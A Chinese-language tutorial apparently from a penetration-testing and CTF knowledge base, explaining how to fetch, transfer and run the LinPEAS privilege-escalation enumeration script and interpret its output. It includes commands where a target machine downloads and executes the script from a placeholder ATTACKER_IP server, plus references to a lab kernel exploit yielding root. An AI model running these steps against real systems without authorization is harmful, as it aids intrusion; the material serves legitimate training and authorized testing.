跳到主要内容

LinPEAS Linux 提权枚举

LinPEAS 是 PEASS-ng 项目里的 Linux 本地提权枚举脚本。它适合在已经获得普通用户 shell 后使用,用来快速收集系统版本、用户权限、SUID、capability、计划任务、敏感文件、服务配置、内核漏洞提示等信息。

LinPEAS 是枚举工具,不是“自动提权工具”。它的输出需要人工判断,最终利用路径仍要回到具体配置、权限和版本证据上验证。


适用场景

场景用法
靶场初始 shell 后快速定位可能的提权方向
WebShell 权限很低收集本地用户、服务、文件权限和内核版本
sudo / SUID 无明显入口用自动化枚举补充人工遗漏
内核版本可疑辅助提示可能存在的本地提权 CVE
复盘报告整理保留关键输出作为证据链

不要只看颜色高亮。LinPEAS 会把“可疑”信息集中标出来,但可疑不等于可利用。


获取 LinPEAS

攻击机下载

mkdir -p ~/tools/peass
cd ~/tools/peass
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -O linpeas.sh
chmod +x linpeas.sh

直接从 GitHub 运行

目标机能联网时可以直接下载到 /tmp

cd /tmp
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -O linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

生产环境或严肃审计场景中,不建议盲目 curl | sh。先保存文件、确认来源,再执行更稳妥。


传到目标机

SSH / SCP

有 SSH 凭证时最直接:

scp linpeas.sh user@192.168.1.110:/tmp/
ssh user@192.168.1.110 'chmod +x /tmp/linpeas.sh && /tmp/linpeas.sh'

HTTP 临时分发

攻击机启动 HTTP 服务:

cd ~/tools/peass
python3 -m http.server 8080 --bind 0.0.0.0

目标机下载:

cd /tmp
wget http://ATTACKER_IP:8080/linpeas.sh -O linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

如果目标没有 wget,可以尝试 curl

curl http://ATTACKER_IP:8080/linpeas.sh -o /tmp/linpeas.sh

常用执行方式

基础执行

/tmp/linpeas.sh

保存输出

/tmp/linpeas.sh | tee /tmp/linpeas.out

如果终端颜色影响阅读,可以保存无颜色输出:

/tmp/linpeas.sh -q | tee /tmp/linpeas.out

只在本地快速看重点

先不要急着利用,优先看这些信息:

grep -Ei 'CVE|Vulnerable|sudo|SUID|capab|writable|password|credential|cron|timer|docker|lxd' /tmp/linpeas.out

高价值输出怎么看

输出类型关注点
Kernel / OS内核版本、发行版版本、是否命中已知本地提权 CVE
sudo 权限sudo -l 是否允许无密码或可控参数执行
SUID 文件是否存在异常 SUID,或能结合 GTFOBins 利用
Capabilitycap_setuid+epcap_dac_read_search+ep 等高危能力
可写路径Web 根目录、服务目录、PATH 中可写目录
计划任务cron / systemd timer 是否执行可写脚本
凭证泄露配置文件、历史命令、备份文件、日志中的密码
组权限admdockerlxddisk 等组可能扩大攻击面

靶场工作流

在 BeeHack 的靶场记录里,LinPEAS 通常放在拿到普通用户 shell 之后:

初始访问 -> id / uname / sudo -l -> LinPEAS 枚举 -> 手工复核 -> 选择提权路线

GameShell5 中就是这个用法:

SSH noob -> LinPEAS 命中 Copy Fail / CVE-2026-31431 -> 编译 exploit -> root shell

对应通关记录见:HackMyVM GameShell5

Type 中也用 LinPEAS 发现了全局可写的 /usr/local/bin/cleanup_scores.sh,后续结合 sudo GUI 程序的 Debug Mode 触发 root 执行。对应通关记录见:HackMyVM Type


注意事项

  1. LinPEAS 输出很全,但不要把“命中提示”直接当成漏洞可利用结论。
  2. 内核 CVE 提示要结合发行版 backport 情况复核。旧版本号不一定没打补丁。
  3. 在真实授权测试中,执行前要确认客户允许上传和运行枚举脚本。
  4. WebShell 环境下运行大脚本可能触发超时,必要时先拿稳定 shell。
  5. 执行后清理 /tmp/linpeas.sh/tmp/linpeas.out 等临时文件。

参考资料